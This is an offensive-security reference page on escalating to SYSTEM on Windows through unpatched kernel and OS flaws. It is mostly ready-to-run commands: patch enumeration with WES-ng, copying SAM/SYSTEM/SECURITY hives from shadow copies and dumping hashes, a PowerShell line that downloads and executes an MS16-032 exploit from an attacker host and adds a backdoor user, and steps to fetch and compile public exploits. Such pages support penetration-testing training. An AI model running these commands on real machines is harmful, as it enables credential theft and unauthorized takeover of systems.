# Windows Kernel Exploit Privilege Escalation

> Exploiting unpatched Windows kernel vulnerabilities to escalate local privileges, covering vulnerable drivers, memory corruption techniques, and token manipulation.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/windows-kernel-exploits
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-08-11

Windows kernel exploits target unpatched vulnerabilities in the OS core to escalate from any user to SYSTEM. Unlike Linux, Windows kernel exploits tend to be more stable (less risk of BSOD) on specific targeted builds. The general workflow:

1. Run `systeminfo` and save the output
2. Feed it to WES-ng to identify missing patches
3. Cross-reference results with the exact OS build and architecture
4. Compile or download the matching exploit
5. Transfer to the target and execute

Always try userland vectors first: kernel exploits are a last resort.

## Prerequisites Check

Collect system information for patch level analysis:

```bash
systeminfo
systeminfo | findstr /i "OS Version\|Hotfix\|Build"
wmic qfe list brief
```

## Step 1: Identify Missing Patches with WES-ng

On the target:

```bash
systeminfo > C:\Windows\Temp\sysinfo.txt
```

Transfer to your attack box and run WES-ng:

```bash
python3 wes.py sysinfo.txt --exploits-only
python3 wes.py sysinfo.txt -e --hide "Internet Explorer" --hide "Remote"
```

Update the database if needed:

```bash
python3 wes.py --update
```

Focus on local privilege escalation exploits (ignore remote ones). Cross-reference with your architecture and exact build number.

Download WES-ng: [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)

## CVE-2021-36934: HiveNightmare / SeriousSam

**Affected:** Windows 10 (1809 and later), Windows 11 before patch KB5005010

The SAM, SYSTEM, and SECURITY registry hives in `C:\Windows\System32\config\` have overly permissive ACLs: `BUILTIN\Users` can read them. Any local user can dump local account hashes without admin privileges.

**Check if vulnerable:**

```bash
icacls C:\Windows\System32\config\SAM
# Vulnerable if BUILTIN\Users shows (I)(RX) or (I)(R)
```

Exploit:

```bash
# Copy the hives using shadow copies
vssadmin list shadows

# Use a shadow copy path
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\Temp\SECURITY
```

If no shadow copy exists, create one:

```bash
# Requires user with shadow copy rights
$s = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$id = $s.ShadowID
$path = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $id}).DeviceObject
copy "$path\Windows\System32\config\SAM" C:\Windows\Temp\SAM
```

Extract hashes on attack box:

```bash
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
```

Download: [https://github.com/GossiTheDog/HiveNightmare](https://github.com/GossiTheDog/HiveNightmare)

## MS16-032: Secondary Logon Service (Windows 7-10, Server 2008-2012)

**Affected:** Windows 7 SP1 through Windows 10 (before June 2016 patches), Server 2008 SP2 through 2012 R2

Race condition in the Secondary Logon service. Requires at least 2 CPU cores.

**Check if vulnerable:**

```bash
# WES-ng should flag this
python3 wes.py sysinfo.txt | grep MS16-032
```

Or check manually: missing KB3143141.

**Exploit using PowerShell:**

```powershell
# MS16-032 PowerShell exploit
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/Invoke-MS16032.ps1')
Invoke-MS16032 -Application cmd.exe -commandline "/c net user hacker Password123! /add"
```

Download: [https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1)

## CVE-2020-0796: SMBGhost (Windows 10 1903/1909)

**Affected:** Windows 10 version 1903 and 1909 (before KB4551762)

Heap buffer overflow in SMBv3 compression. Local privilege escalation variant available.

**Check:**

```bash
systeminfo | findstr "1903\|1909"
wmic qfe | findstr KB4551762
# If KB4551762 is missing and version is 1903/1909 = potentially vulnerable
```

Exploit:

```bash
git clone https://github.com/danigargu/CVE-2020-0796
cd CVE-2020-0796
# Compile and transfer to target
```

## CVE-2022-21882: Win32k Privilege Escalation (Windows 10/11)

**Affected:** Windows 10, Windows 11, Server 2019/2022 before January 2022 patches

Use-after-free in win32k.sys. Reliable local privilege escalation.

**Check:**

```bash
python3 wes.py sysinfo.txt | grep CVE-2022-21882
```

**Exploit:**

```bash
git clone https://github.com/KaLendsi/CVE-2022-21882
# Compile and transfer
```

## Compilation for Windows Targets

When compiling on Linux for Windows targets:

```bash
# x64 Windows executable
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe

# x86 Windows executable
i686-w64-mingw32-gcc exploit.c -o exploit32.exe

# With Windows libraries
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 -lntdll
```

## References

- [WES-ng](https://github.com/bitsadmin/wesng) - Windows patch level CVE comparison and exploit identification.
- [HiveNightmare](https://github.com/GossiTheDog/HiveNightmare) - GossiTheDog CVE-2021-36934 SAM hive read exploit and detection guidance.
- [Exploit Database](https://www.exploit-db.com) - Primary source for Windows kernel exploit source code.